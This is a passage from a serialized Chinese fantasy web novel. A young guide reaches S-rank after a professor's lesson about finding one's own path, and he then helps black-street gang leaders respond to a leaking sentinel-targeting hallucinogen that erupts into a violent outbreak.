“谢谢教授。”江寻微微颔首，又行了一礼，这才前行几步，坐了下来，斟酌了一下措辞，带着一丝迟疑开口：“教授，关于那个稳定模型的问题，我已经弄明白了。这次来，是有一些疑问，想向您请教一下……关于更高层次向导技能的问题。” 江寻顿了顿，看向艾略特教授的目光坦诚，又充满了好奇，好像只是一个求知欲旺盛的普通学生：“我最近在图书馆查阅资料时，看到了很多关于A级向导技能的详细记载，和前辈们的经验手札。但是关于S级技能的记录却寥寥无几，我感觉有些奇怪。教授，我们圣所不是全联盟研究哨向技能与特性最权威的地方吗？为什么，几乎看不到关于S级向导的知识呢？” 艾略特教授抿了一口手中的咖啡，透过镜片仔细打量着眼前这个向来安静聪明，深受所有老师喜爱的学生，深邃的目光中流露出一丝赞许。 “你能发现这一点，让我很惊喜。”艾略特教授满意地向着江寻点了点头，将咖啡杯轻轻放回桌上的托盘，发出一声清脆的轻响。 “S级啊……”充满感慨地喟叹一声，艾略特教授和蔼地看向江寻，“夏因，你有着旺盛的求知欲，这非常好，但是，我们最需要做的，还是脚踏实地地掌握好自己能力范围内的知识。关于S级，你只需要有个宏观的了解就可以了，不要把精力过多地耗费在探究那些最高级的技能上面。” “因为，S级……那是一个与其他所有的等级都截然不同的领域！” 艾略特教授正色说道。 “不过，既然你已经注意到了这个现象，”艾略特看了看时间，“那我就给你简单讲一讲吧。” “我们圣所，实际上并不教授S级的技能。圣所中的课程，最高只会教授到A级。”见到江寻面上露出惊讶的表情，艾略特教授微微一笑，“没想到吧？但是，这并不是因为圣所要藏私，而是因为，从S级开始，向导的发展道路，就会从标准化走向彻底的个人化！” “个人化？”江寻重复着这个单词，若有所思。 “是的！”艾略特教授的身体微微前倾，表情严肃起来，“为什么联盟有史以来诞生的S级向导数量这么稀少，根本原因就是，S级的向导，与其他等级的向导有着本质上的不同。” “如果说其他等级的向导是走在前人铺就的道路上，砥砺前行的行路人；那么，S级向导就是那个为后面的所有人披荆斩棘，开拓出全新道路的开拓者。”艾略特教授郑重说道。 “所有标准化的等级技能，全部都是基础。它们存在的意义，是为了让你们更加熟悉理解自己的力量。而向导真正的力量，往往来源于对自身充分理解之后，从自身最核心的天赋特质中得出的亲身感悟，以及每个人对于自己的力量本质，独一无二的理解。” 艾略特教授说得语重心长。 “所谓的S级向导，便是在充分的自我理解，与认知实践过后，在漫长的生命进程中，找到独属于自己的本源道路的向导。而S级技能，便是围绕着这条独一无二的道路，构建出的专属于自己的‘规则’！” 江寻听得聚精会神，心脏不受控制地微微加速。 独属于自己的“规则”？ “所以，对于冲击S级的向导来说，S级技能本身并不是最重要的，最关键的是，他要先找到独属于自己的那条‘道路’，只要找准了道路，相应的S级技能便会自然而然地演化出来。” “当然，”艾略特教授的话锋一转，“并不是所有人都能走上这条充满了未知与风险的‘道路’，最终成就S级向导。对于一些已经拥有S级精神力水平的人来说，去学习一些历史上曾经出现过的璀璨夺目的强大S级专属技能，也是一种十分务实的选择。” “只不过，这些技能，作为极其宝贵的战略级知识遗产，要么被保存在塔的最高机密档案中，要么被其创造者所属的家族严密守护。” “想要学习这些已有的S级技能，代价是极其高昂的。”艾略特教授摊了摊手，露出一个略带无奈的笑容，“要么，需要联系上技能现在的所有者或继承者，用巨额的财富，或者一些其他的高昂条件来交换。要么，为塔做出足够重大的贡献，或者用同样珍贵的知识来交换。” “要知道，能走到这个层次的人，金钱对于他们已经成为了一串数字，到了这个时候，他们最渴望得到的，往往是一些更加稀有，更难以衡量的东西。”艾略特教授认真地提醒，“而且，就算成功交换得到了某个S级技能，如果无法完全理解它的精髓，或者这个技能与自身的特质适配度不高，也绝不可能发挥出它真正的威力。” 他看向江寻，总结道：“所以，回到你最初的问题上，不是圣所中没有S级的知识。而是，圣所中传授的一切知识，都是通往S级的阶梯。对于顶级向导来说，圣所的作用并非传授，而是引导。我们会尽力帮助学员们理解精神力的深层本质，帮助他们发掘出自身的独特天赋，为他们积极向自身探索提供支持。但决定最终是否能踏上那条巅峰之路的，只有他们自己。” “至于联盟官方对于S级的等级认定，核心只有两点。”艾略特教授伸出了两只手指，“第一，达到S级最低标准的精神力总量。第二，掌握一项完全由你自创的，具有S级威能效果的技能。只有同时满足这两项，才是联盟官方盖棺定论的S级向导。” “而那种达到了S级精神力水平，但S级技能是通过传承或交换习得的向导，在官方的档案中，被称为准S级向导。只不过，由于真正的S级向导太过稀少，在民间，大家往往将准S级也统称为S级。” 艾略特教授长吁了一口气，放松身体靠回到椅背上。午后的阳光透过窗户，在他花白的头发上跳跃。 “所以，夏因，”他的语气重新变得温和，“虽然你的最高潜能等级只到B级，但是，这其实并不妨碍你去探寻属于自己的道路。这样的求索，本身就能让你更好地理解精神力的深层本质，与自身的核心特质。不过，对于现阶段的你来说，最重要的还是夯实基础，熟练掌握那些标准化的核心技能。对于这些最高阶的知识，你不必过分执着。” 一番话说毕，办公室中陷入了短暂的安静，只有窗外隐约传来一些学员们叽叽喳喳的议论声。 江寻静静地坐着，艾略特教授的这番话语在他心中引起了巨大的震动。他从未想过原来真正的S级，是这般模样。 对自身的充分理解……自己的核心特质……找到自己的“道路” ……… 原来如此，这才是S级的真谛！ * 办公室的大门在身后缓缓合拢，艾略特教授的话语仍在江寻脑中回响。 漫步在圣所的林荫道上，午后的阳光透过树叶的缝隙，洒下细碎的耀眼光斑。 “核心特质……”江寻在心中咀嚼着这个词语，心中许多以往困扰着他的，不明所以的疑问，此时好像显露出了一丝可解的曙光。 艾略特教授今日的教导，为他打开了一扇通往全新境界的大门，虽然如今这扇大门后面的道路依旧模糊不清，但江寻清晰地感觉到，他已经走在了寻找方向的道路上，与以往混混沌沌地学习提升，有了天壤之别。 晚上，回到熟悉的公寓中，江寻没有打乱自己的日常节奏，像往常一样简单解决了晚饭之后，便盘膝坐在了床上，开始了例行的冥想与精神力梳理。 意识沉入精神海深处，那片因为过于庞大而被自己封锁起来的“馈赠”，如今已经被他吸收过半。 而精神海的总量，已经达到了A级的巅峰，无限接近于传说中那道S级的门槛。然而，江寻始终感觉，他还缺少了什么关键的东西。那层隔膜看似吹弹可破，却又坚韧无比，任他如何努力，也难以真正跨越。 心念一动，一丝纯净的能量被小心翼翼地抽取了出来，汇入江寻庞大的精神力海洋。随即，更多道细丝般的能量，仿佛受到牵引，如影随形接踵而至。纯净的能量丝被海洋温柔地冲刷着，渐渐崩散开来，最终融入其中，渐渐不分你我。 江寻维持着这种稳定而缓慢的吸收速度，静静陷入了冥想。 今天的谈话对于他的启发很大，他不再去刻意地冲击着那道等级的壁垒，而是任由身体自行运转，思绪在静谧中流转起来，他真正静下心来，回溯着自己一路走来的点点滴滴。 还记得最初时，他在那颗荒凉的无人星上与小树相遇，于危急时分受激觉醒，而后，凭借着自己的本能，什么都不知道，自己摸索着为小树粉碎掉那些飘荡在精神世界中的污浊灰烬。 而后，流落自由城中，被夏因所救。在那间小小的诊所中，一边跟着夏因学习向导的基础与常识，一边目睹着身处边缘星系的哨兵向导们，如何在生存的夹缝中挣扎、妥协、争斗。 再后来，历经波折终于到了中央星，考入了高级研修班，并在暗巷中重新开起了小诊所，一边在高尚的学府中学习着最前沿的知识，一边在外城的阴影中，为各色或悲或苦，或强或弱的哨兵们解除苦痛。 还有屠峰、曲绍、沃特三兄弟，以及科里亚星公共疏导所中，众多的积重病患。 净化与治疗。 如果说探寻自己的核心特质，那自然而然出现在他心中的，就是这个词。 他本不是什么悲天悯人的圣人，在地球上时，也只是个能力有限，独善其身的普通人。 他从没有怀抱过什么崇高伟大的理想，既没那个心思，也没那个本事。 一开始也只是恰逢其会地觉醒了向导能力。为了救治自家的小猫，这才在黑暗中胡乱摸索着，走上了这条道路。 可这一路阴差阳错地走来，竟然将这样的事一直做了下来，直到如今，居然已经凭此，建立起了许多与这个世界的联系。 江寻也不知道这能不能算是所谓的“核心特质”。他在运用能力的时候，都是自然而然的，能做到，便去做了。 他从来没把向导当做多么伟大的身份。在他的理解中，这似乎更像是一种职业，如同医生。 为别人治疗、净化污染，对他来说，几乎是本能的职责，是安身立命最基础的技能。他从没把它与什么高大上的东西联系在一起。 可今天艾略特教授的那番话，却好像一道惊雷，彻底点醒了他。 他突然想起了最开始认识到自己的力量的时候，曾发出过的疑问： 如果这种力量能随着主观意念而改变性质，那是否意味着，自己想着用它来治疗，它就可以治疗；想着用它来破坏，它就可以破坏？ 所以说，一直以来，自己一直表现得在治疗与净化上高人一筹。根本原因，是因为自己一直在下意识地想要救助他人吗？ 江寻觉得，自己现在，也许得到了一些答案。 这个模糊却关键的认知，如同一颗投入平静湖面的石子，在江寻的精神海中无声地荡开了一圈涟漪。 然而，这圈涟漪并未在荡漾开来后消于无形，而是渐渐扩散开来，越来越大，越来越剧烈。 就在这圈涟漪触碰到精神海边缘的界限的时候，异变突生！ 精神海中，那团被他以自身精神力屏障封锁起来，一直以来如同一团死水般的庞大“馈赠”，仿佛被什么东西触动，从内部缓缓波动了起来。 死水渐渐化作温和的细流，而后，细流又变成了荡漾起波涛的湖水。而被封锁在它内部的纯净能量，也不再需要江寻费力地一丝丝抽取，而是开始自发地快速渗透出屏障，自然而然地融入他自身的精神力中，融合的速度，瞬间大增。 江寻心中一动，他敏锐地感知到，当自己对自身力量的认知开始产生变化的这一刻，精神海似乎与那团始终无知无觉如一团死水的“馈赠”，产生了某种奇特的共鸣。 那团沉睡的庞大力量，被激活了！它不再被动地等待着他一点点去消化，而是仿佛与江寻自身的精神力产生了某种“共振”，开始主动地融入他的身体之中。 一个清晰的明悟突然出现在他脑中。 就是现在！ 念头出现的刹那间，江寻心中再无一丝对抗之意，心念微转，如同撤去了一道无形的闸门。那层由他自身精神力构筑起来，一直限制着这团“馈赠”的坚固屏障，瞬间消散。 无声的精神世界中，恍惚传来一声轰然巨响。 骤然失去了所有约束，长久以来积蓄着的庞大力量，如同决堤的洪流，携着沛然之势，几乎如同倾泻一般汹涌涌入他广阔的精神海中。 面对着这股恐怖的能量洪流，江寻此刻心中却无一丝惊惧。而这股力量，也像是响应了江寻的意念，一涌入精神海中，便异常温顺地直接化入了那片早已到达了极限的庞大湖泊，没有激起一丝的狂暴波澜。 能量持续地汇入着，速度越来越快，那团“馈赠”以肉眼可见的速度消解下去。 精神海被这股温和而浩瀚的力量持续注入，无形的边界开始无声地向外扩张开来。 江寻只觉意识骤然一空，似乎是进入了某种奇妙的状态之中，心中无悲无喜，就这样看着那道无形的边界，扩张，再扩张，直至终于触及了极限处的那道坚韧的无形壁垒。 而后，积蓄了足够力量的浪潮，前赴后继地拍打过来，那层代表着S级壁垒的坚韧隔膜，就这么在浪潮不断地冲击拍打之下，无声无息地彻底消融。 江寻清晰地“看”到，自己的精神海，在这股温和而坚决的力量推动下，边界不断地向外扩张着，容量以一种超越了以往任何时候的速度急速增长。 而原本拥挤在“湖泊”里的庞大精神力，也随着边界的扩大，如泥牛入海般，迅速向着四面流去，充盈了这片新生的浩瀚领域。 不知过了多久，精神海扩张的势头终于缓缓平息下来。 而原本盘踞着一片区域的那份庞大“馈赠”，此刻已彻底消失无踪，与江寻自身的精神力彻底融为了一体。 江寻的意识随着海面的平息，渐渐下沉，再下沉。 下一秒，他缓缓睁开了眼睛。 安静的公寓中，光线依然昏暗迷离。但此刻，坐在其中的人已经完全不同！ 江寻深吸一口气，凝神向着体内“看”去。 精神海不仅扩大到了以往不敢想象的规模，而且精神力充盈满溢，生机勃勃，再无一丝滞涩之感。一种前所未有的强大感觉油然而生。 周身不自觉盈溢出来的精神力场，洋洋洒洒地铺陈开去，外界许许多多细微模糊的信号，在此刻都被活跃的力场捕捉到，输送入他的感知之中。 江寻摊开手掌，一缕无比凝练纯净的精神力，无声浮现出来，随着他的意念在五指之间轻盈地流转起来。 仅仅只是这么一小股寻常的精神力，其中蕴含着的洁净、安宁、抚慰人心的力量，竟已经远超他以往费力凝聚出的粗大精神触手！ 他无比清醒地意识到，这是质的改变，是他的“核心特性”初步显现出来的雏形。 那道如天堑般的S级界限，已在无声无息间，被他悄然跨过。 江寻缓缓收拢起手掌，将指尖缠绕的精神力光芒尽数敛起。 艾略特教授的话语再次在耳边响起，他深切地意识到，面前的道路依然曲折而漫长，他还没有彻底明晰自己的“本质”，也没有构建出独属于他自己的“规则”。 但是，基石已经打下，模糊的思考为他指明了方向，他无比确定的知道，只要自己循着这条路一步一步地走下去，定能抵达位于道路尽头的顶点！ 江寻站起身来，感受着体内前所未有的浩瀚力量，心中一片澄明。 贴身的口袋里，那块冰冷的铭牌似乎也被主人身上发生的巨大蜕变所触动，镌刻其上的那个名字，如有生命一般，在这无人知晓的黑暗里，划过一道细微的流光—— 作者有话说：江江：别急，你们先打一会儿，让我来升个级[求你了] 第140章 “咦？希先生， 您这是……” 今天的第一个患者是个老熟人，一位总是自称“孤独的探险家”的独行开拓哨兵。 初次来江寻诊所的时候，他因为接触到了被虫族的毒液污染过的矿石， 整个精神海都差点崩溃了。在江寻这里净化完毕之后， 非但没收敛起自己的性子， 反而仗着有了后盾，胆子越发大了起来。 好在他的运气不错，探索时向来肆意， 却从没遇到什么危及生命的危险， 反倒因为几次稀有的收获，发了一笔小财。 今天，他再次从外域归来，还是如往常一样，第一时间便来江寻的诊所为自己做一番全身检查。 一开始一切都还正常，可开始检查的时候， 却发现江寻没有如往常那般握住他的手腕施为， 而是直接从空气中召唤出了精神力细丝， 更让他惊讶的是，以往的一束细丝， 今天居然只剩下了孤零零的一根，不由疑惑地脱口问道。 “最近有了一些突破， 想试试新手法，您放心， 效果不会打折扣的。如果不放心的话，后面我再给您用老办法复查一遍。”江寻解释道。 “哦？”这位哨兵非但没有介意，反而一脸惊喜地追问道，“怎么会介意！您又突破了， 那我们肯定高兴还来不及啊！不过……”他的目光扫过别在江寻领口的那枚盾徽，疑惑中带着些不可置信，“您不是已经B级了吗？还能突破？难道您……快要A级了？” 江寻但笑不语，哨兵见了江寻的反应，却更加肯定了自己心中的猜测，彻底放下心来，任由江寻施为。 见面前的哨兵没有异议，江寻心念一动，比原先更加如臂指使的精神力丝，如有了生命一般，在空中盘旋游移一下，旋即如同蛇类寻找目标一般在哨兵周身探寻了一下，便一头朝着选定的方位扎了进去。 江寻第一次这样隔空操控自己的精神力丝线，只感觉非常微妙，但效率丝毫不逊于往日里使用正常流程时。 细弱的丝线，一进入了对方体内，便顺滑地沿着精神脉络流转起来，轻轻拂过那些潜藏着晦暗的节点，沿着的污秽便一触即溃。 原本江寻只想用这样的方式为对方检查一下全身的脉络，却不知不觉间，已经为对方浅层梳理了一遍。 那哨兵也明显感觉到了不同，那疏导的感觉过于舒适，自己身上的变化也清晰可见，于是更加放下心来，没有多问，只闭起眼睛，享受地等待着治疗的完成。到了疏导过半的时候，甚至还因为过于放松，就这么沉沉睡了过去。 直到全部治疗结束，江寻叫醒了睡着的哨兵，目送他带着轻松的笑容慢慢走远，江寻这才轻吁口气，坐下来回味着刚才的感受。 手掌摊开摆在面前，心念微动，一根精神力丝便被重新凝结了出来。江寻手指轻微弹动着，看着精神力丝灵巧地在手指之间盘绕滑动着，刚才的体悟再次浮现心头。 跨过那道“门槛”之后，果然带来了本质上的飞跃。 不仅仅是精神力的总量一下子暴涨了许多，凝聚度、控制力也同步大幅增强了。如果他没有感觉错的话，似乎精神力本身禀赋的净化能力也强化了许多。 那些沉积在经脉深处的陈年旧污，过去需要一遍又一遍反复用精神力浸润冲刷才能得以净化，如今，只是用一根精神力丝轻轻拂过便彻底清理了个干净。 那些污染，在他面前似乎完全失去了抵抗力，一经触碰便如冬雪映照到了暖阳，消融殆尽。 而且，即便自己没有与对方直接触碰到，外放出去的精神力丝，在控制上也没有表现出明显的减弱。 就是不知道这种隔空控制，他能够达到的最远距离有多远。能够同时操纵的数量又有多少。 江寻细细体会着自己新进提升起来的能力，一边练习着，一边等待着下一位患者上门。 却见诊所门口的光线骤然一暗，几个身形彪悍的大汉突然联袂而来，将本就昏暗的门口堵了个严严实实。 踏上台阶时，几人沉默地左右分开，让出中间一条通道来。 紧接着，重重的脚步声由远及近。 江寻抬头看去，便见曲绍那魁梧的身影出现在了门口。 A级巅峰哨兵毫不掩饰的气场迎面而来，伴着沉重的脚步闷响，带来一股逼人压迫感。 江寻微微一怔，想到了什么，眉头轻蹙起来，站起身看着曲绍一步踏入了诊所之中。 “希先生，”曲绍的声音低沉，面目严肃，对着江寻微一颔首，“冒昧来访，打扰了。” 江寻心中有所猜测，脸上没什么意外或惊慌的表情，只是显得有些凝重，对着面前那张诊室内唯一的诊疗椅伸手一引：“曲老大，诊所简陋，不介意的话，请坐下说吧。” 曲绍却摇了摇头，开门见山道：“希先生，我这次过来，是因为你前两天给我发来的消息。” 江寻心中一紧，果然是此事。 “自从收到你的讯息后，我便派人去了那片区域盯梢。还专门去接触了附近的住户。”曲绍顿了顿，眼神变得凝重起来，“果然如你所说，找到了几个有类似症状的人。都是五感突然错乱无法自控，并且发作时间非常快，等反应过来的时候，人已经变得痴痴呆呆的了。现在还没被人发现，只因为那片区域人烟稀少，还大多是独居，这毒素发作起来，大部分情况下也只是让人变得呆傻，暂时还没引起更严重的暴乱。” “我揪了几个出来，让手下的其他几个向导一边治疗一边观察。”曲绍面色沉了下来，“非常麻烦，他们有的查出了毒素，有的没查出来，但是无一列外，都说这种精神毒素很棘手，活性非常强烈，还会随着脉络在全身躲藏逃窜，非常难以根除。” 他紧盯着江寻：“这事不太对，希先生，你当初是怎么发现的？这到底是怎么回事？这种毒你能治疗吗？” 听着曲绍的讲述，江寻心中越发沉了下来，情况不妙，这种毒素果然已经开始扩散了。 “是我在这边的朋友中了这种精神毒素，来找我治疗，我才发现的异常。”江寻迅速回答，“当时我给他们做了初步净化，压制下了症状，但是不能完全驱除，询问过他们，也只知道了沾染上的地方，大概就在那个废弃工厂。但是他们不能确定具体的污染源，而且，也没找到明确的传播途径。” 他看向曲绍，说出自己的推测：“我这里设备有限，回来以后，我专门分析了样本，也没能得出具体的毒素成分。不过，从它的表现看，这很可能是一种专门针对哨兵人为制造出来的精神毒素，又或者……是某种半成品药物的中间成分。” “毒素……或者是药物成分？”曲绍面色凝重，“怎么说？” “您也看到了，这些染上毒素的哨兵，症状表现为感官信号被异常放大和扭曲。实际上，这种毒素并不没有破坏他们的身体机能，这不是致命的毒素，而更像是……”江寻顿了顿，“更像是一种强效致幻剂，许多违禁药物，也有类似的表现，只不过远不及它强烈，传播也没有它隐蔽。” “你的意思是，可能有人在我们的地盘上非法制造违禁药？”曲绍面色彻底沉了下来，“还是专门针对哨兵的致幻药？” “大概就是如此了。”江寻点了点头，“而且看效果，这药相当厉害，应该已经取得一定成果了。” 两人对视一眼，陷入短暂的沉默中。 能在中央星哨兵岛上悄无声息布置下工厂，研制这种等级药剂的人物，可不会是什么小角色。这也是江寻发现此事后，没有第一时间自己去调查，而是将讯息发送给了曲绍的原因。 这件事，若是他们处理的稍有不对，很可能就会被卷入什么难以想象的势力倾轧中。到时候，别说是江寻了，就是曲绍，也未必能承担后果。 曲绍面色沉郁，粗粝的手指叩击在腰间的武器手柄上，发出声声闷响。思忖了片刻，猛地抬起头来，看向江寻，语气斩钉截铁：“希先生，我不知道这背后站着的是什么人。但这玩意儿现在明显失控了，光我们找到的染上毒的人就有这么多，背后还不知道有多少人已经无声无息地被它放倒了。” “这事儿既然已经被我发现了，就算里面水再深，我也不能袖手旁观，再这么下去，天知道会出什么乱子，到时候黑街还不知要乱成什么样！” 他上前一步，声音中有着坚定的决断：“这事儿可能已经不是我一个人能处理的了，但是也不能继续拖下去。我马上通知西边的巴顿和北边的丽安娜，我们三家一起通个气，看看这件事要怎么应对！希先生，”他目光灼灼地看向江寻，“这事说到底是我们黑街的事，我不强求你和我们共进退。但眼下看来，你是最了解这东西的人。劳烦你跟我走一趟，现在就去和他们俩碰个面，把这件事摊开来说个明白。” “之后，怎么处理，就由我们自己的人来办，您不用出面。您看可以吗？”曲绍的眼中有着毫不掩饰的凝重，却无丝毫犹豫。 江寻略一思考，果断点头：“好，既然曲老大把话都已经说到这份上了，那我就跟你走一趟。” 他想了一下，迅速转身，从最里间的药柜中取出了所有附着剂的库存，一股脑塞进了最大的医疗包里，往肩上一跨，“我们走吧。” 曲绍一旦下了决定之后，行动力惊人。 江寻这边话音刚落，他已经手指滑动，把两条紧急召集信息发送了出去。地点定在黑街三个区交界处的一处废弃旧仓库。 这里位置刚好，空间也够大，是他们三家处理紧急事务时经常碰头的地方。 江寻跟着曲绍，身后是追随而来的手下，一行人一路在暗巷中快速穿行，沿途，不断有各种打扮年纪不一的人手，沉默地汇入他们的队伍。 一路行至旧仓库，不用曲绍动手，早有眼疾手快的手下当先推开了锈迹斑斑的大门。 仓库中光线昏暗，只在中间点着几盏应急灯。 已经有两波人马候在其中，泾渭分明地相据而站，大门一响，众人便齐刷刷地扭头向来人看过来。 左边的是一群穿着各色皮铠皮甲的粗壮汉子，个个面容彪悍凶气十足，为首者是个身高接近两米，肌肉虬结的巨汉。这人一只眼睛上覆着一只黑眼罩，仅剩的一只独眼中凶光毕露，正是西区那帮地下拳手和雇佣兵们的老大，“血屠”巴顿。 他双臂抱胸，倚靠在一辆改装过的重型机车旁边，看到曲绍进来，只是抬了抬眼皮，从鼻子里挤出一声意味不明的冷哼。 而另一边的人则显得规整了许多，不论男女，清一色方便行动的作战服，眼神锐利冰冷，似乎随时都可以在老大的一声令下投入战斗。 为首的是个身材高挑的女人，她年纪约莫三十多岁，黑发整整齐齐地盘起，妆容精致面容姣好，不像是黑街的老大，倒像是一位性格古板严肃的家庭教师。正是绰号“黑蜘蛛”的北区老大丽安娜。 此刻，她正端坐在摆在中央的高椅上，姿态十足地交叉双手静静等待着。看到曲绍进门，目光锐利地扫了过来，在紧随曲绍身后的江寻身上停留了一瞬，带着审视。 “曲绍，大晚上的，你这么火急火燎地把我们叫来，最好是真的有急事！”巴顿粗哑的声音响起，透着十二分的烦躁不耐。 丽安娜向来不是多话的人，只是以眼神示意曲绍有事快说。 曲绍大步走近，没有丝毫的寒暄，出口便开门见山：“暗巷附近有一处废弃的工厂出问题了。有人在我们的地盘上，搞一种效力很强，专门针对哨兵的致幻剂。现在那边似乎是出现了意外，药物成分泄露了。” “什么？！”此时反而是丽安娜的反应更大一些，只见她眉头一拧，面色顿时难看了起来，“消息确切吗？知道是哪方的人干的吗？” “千真万确，我已经派人盯梢好几天了。”曲绍不说废话，马上把江寻的发现、中毒者的症状，以及自己这几天派人盯梢时发现的情况快速对两人讲述了一遍。 最后，指向江寻：“这位是希先生，你们应该听说过吧？” 见两人面露恍然，接着说道：“就是希先生最先发现并处理了第一批中毒者，并把情报告诉了我。希先生，麻烦你，把当时的情况还有你的推测，再跟他们说一遍吧。” 话音一落，所有人的目光瞬间聚焦到了江寻身上，一开始的目光中多含怀疑与审视，待众人看清别在江寻领口的那枚盾徽，人群中顿时响起一片压抑的嗡嗡议论声。 而巴顿与丽安娜，明显早就对“希先生”的名号有所了解，此时，只是静静地看向江寻，等待着他的说明。 这样聚焦的视线，江寻已经渐渐习惯。他迎着众人看过来的目光，丝毫无惧，上前几步，便将刚才与曲绍解释过的毒素情况清清楚楚地复述了一遍。 “……我推测这种不明毒素，可以通过空气或气溶胶传播，传播方式隐蔽，且从中毒到出现症状，速度非常快。这种毒素我从未见过，也没有特效药物可以医治。我最初处理过几例，只能用特殊的手段暂时压制下来，毒素的活性极强，很难根除。而且……” 江寻顿了顿，补充道：“不能确定这种毒素是否具有传染性，一旦大面积扩散开来，后果难以设想。” 仓库内一片死寂，所有人都被这突如其来的消息震住，整个空间中只能听到应急灯发出的微弱滋滋声。 巴顿无意识地咽了口唾沫，不死心地追问：“有这么严重吗？专门针对哨兵的？你确定现在那边已经泄露了药物，失控了吗？在黑街还有人敢不知会我们，就搞这种危险的玩意儿？” 丽安娜没有理会巴顿的侥幸追问，第一时间抓住了关键：“曲老大，希先生，你们的意思是，这可能不是什么普通的事故，这背后……可能牵扯到某个我们惹不起的人物？” 曲绍沉着脸点了点头：“很有可能，我想不出除了上面那些人，还有谁能在我们眼皮子底下搞出这些事，还一直瞒天过海，直到这次出现意外才被我们发现。咱们各自的家底大家都知道，这可不是随便什么阿猫阿狗就能把我们三个都蒙在鼓里的。” “可是现在惹不起我们也得管，现在事儿就出在咱们眼皮子底下，放任不管，下一个倒下的可能就是咱们的兄弟，甚至是我们自己！到时候黑街大乱，谁他妈都别想好过！” “哼，你说得轻巧！”巴顿猛地站直了身体，高大的躯体带来了强烈的压迫感，“曲绍，你和丽安娜在上面都有人照应着，手下的兄弟也能自给自足。可我们西边可是一直得跟上面合作讨生活的，万一这件事后面真站了哪个大人物，那收拾我们还不跟捏死只蚂蚁一样简单！” 他环视一周，声音里带着些犹豫：“这事儿，还得从长计议！至少我们要先摸清楚背后的人是谁……” “从长计议？你没听到曲绍刚才说的话吗？这东西已经泄露出来了！等你计议完，它可能早就传遍整个黑街了！”丽安娜的声音响起，话语里带着毫不掩饰的嘲讽。 她站起身来，走到巴顿面前，仰头看向面前这个比她要高出了一个头的巨汉，红唇一挑便是十二分的讥诮：“亏你还叫什么‘血屠’，还是个A级哨兵呢！平时砍起那些小喽啰倒是看着威风得很，一遇到可能有点来头的，还没见着人影，你就先怂了？一点儿胆量也没有，还不如老娘我一个女人！” “臭娘们！你说什么？！”巴顿瞬间被丽安娜讥诮的话语激怒，硕大的拳头猛地握紧，手臂上青筋暴起，眼睛一瞪，一股凶悍的杀气便瞬间弥漫开来。 见两个老大针锋相对地吵了起来，两边站在两人身后的手下也纷纷握紧了武器，眼神冰冷，毫不退让地看向了彼此，仓库里的气氛骤然紧绷起来。 面对着巴顿的暴怒，丽安娜却丝毫无惧，反而得寸进尺地再次逼近了一步，脸庞扬起，几乎贴上了巴顿的胸膛，声音压得更低，字字如刀：“我说你，名号起得响亮，遇到点子事，就成了个软蛋！怎么？这就怕了？怕了就滚回你的西边去，少在这儿碍我们的眼！这黑街里，少你一个血屠，屁事儿没有！” “你他妈的找死！”巴顿怒吼一声，独眼瞬间涨红，拳头一抬就要动手。而丽安娜，指尖如幻影般的一翻，已是倒握了一把森寒匕首，气氛一触即发。 “你们两个够了！”曲绍一声暴喝，巅峰A级哨兵的气场瞬间扩散开来，将两人笼罩在了其中，“都什么时候了还内讧？！巴顿，丽安娜骂得再难听，也没说错！那玩意儿要是真在黑街里传开了，你他妈还想什么以后？能不能活下来都是个问题！” 巴顿喘着粗气，瞪着面前两人，眼神激烈变幻。丽安娜死死与巴顿对视着，目光从始至终的尖利如刀锋。 “操！”巴顿低吼一声，猛地一拳砸在面前的废弃金属箱上，箱子“哐当”一声巨响，当即从中间凹陷了下去。他眼神凶狠地扫过在场众人，“行！老子干！但我丑话说在前头，要是真的踢到了铁板，惹上了什么不能碰的人，到时候谁也别想跑！” “哼，这才有点西区老大的样子。”丽安娜冷哼一声，退开一步，表情缓和了下来，“跑？老娘的字典里就没有这个字！” “好！”曲绍见两人终于与自己达成了一致，立刻拍板，“既然大家都同意了，那事不宜迟，我们立刻召集人手，带好家伙，现在就过去！希先生，你……” 曲绍的话还没说完，突然—— “轰隆——！” 一声沉闷的巨响从远方隐隐传来，连带着仓库地面上的灰尘都被微微震了起来！众人猛得扭头望去，那声音传来的方向，赫然正是那废弃工厂的所在！ 紧接着，凄厉的尖叫声夹杂着混乱的枪声、爆炸声，隐隐约约地随着夜风飘了过来。 仓库内所有人，脸色骤变！《 》 140-145 第141章 “怎么回事？！”曲绍一个箭步冲出仓库大门， 厉声喝问。 在仓库门外警戒着的曲绍手下面面相觑，望着那道爆炸声传来的方向，个个脸色煞白。 一人越众而出， 声音中带着些掩饰不住的惊慌：“老大， 好像……好像是那个废弃工厂那边……” 话音未落， 曲绍腕上的终端突然疯狂鸣响起来。 他飞快地接通了视讯，一道投影光屏立时在他的面前展开。 “老大！不好了！您让我们盯着的那个工厂，有个厂房刚才突然爆炸了！一个仓库直接被炸上天了， 然后……然后里面冲出来了好几个哨兵， 个个都是拟化状态！都是疯子！见到人就攻击，我们这边现在已经死伤好多人了！” 视讯那头的人喘着粗气，镜头一边晃动着一边远离爆炸中心区域，依稀可见不远处，有几个似人非人的影子正在咆哮着疯狂向四周无差别地攻击。 “更……更邪门的是，爆炸发生之后， 附近的好多兄弟， 也变得不对劲了！有的突然像傻了似的一样呆住， 有的，有的也和那些疯子一样开始不受控地拟化了！”视讯对面的人紧张地吞了吞口水， 声音都在发抖，“全乱套了！我们勉强制住了发狂的兄弟， 正想办法带他们撤离，老大， 我们现在该怎么办啊？” 江寻的心猛地沉了下去，最坏的情况发生了！毒素彻底失控泄露了！ “通知附近所有兄弟，立刻保持距离暂时撤退！一切以自保为先！我们马上就过去！”曲绍对着视讯那头大吼。 巴顿和丽安娜也同时对视了一眼，眼中同时露出骇然之色。这一刻， 什么幕后的人，什么未来后果，都被抛到了脑后。 “操！通知下去，集结所有人！抄家伙！立刻赶过去！”曲绍第一个反应过来，大喝一声，就要冲出仓库。 “妈的！走！”巴顿也红了眼，招呼手下就要紧随其后。 “慢着！”江寻一个箭步上前拉住了曲绍，“你们就这么一股脑地冲过去，只会让更多的人中招！” “那你说要怎么办？！”曲绍猛地回头，一双铜铃大的眼睛中，此刻溢满了焦急与愤怒。 “曲老大，冷静下来！现在我们所有人还需要你指挥！”江寻抬手搭上曲绍裸露出来的手腕，一股平和的精神力传递过去，曲绍只觉脑中一清，刚刚听闻急报之后沸腾的思绪，就瞬间冷静了不少。 闭了闭眼，重新睁开时，已经恢复了往日里的果断强势模样。 “抱歉，希先生！你说得对，是我太急了！”曲绍看向江寻，此刻，他只能依赖对于那种毒素最熟悉的专家江寻，“您说要怎么办，我们都听您的！” 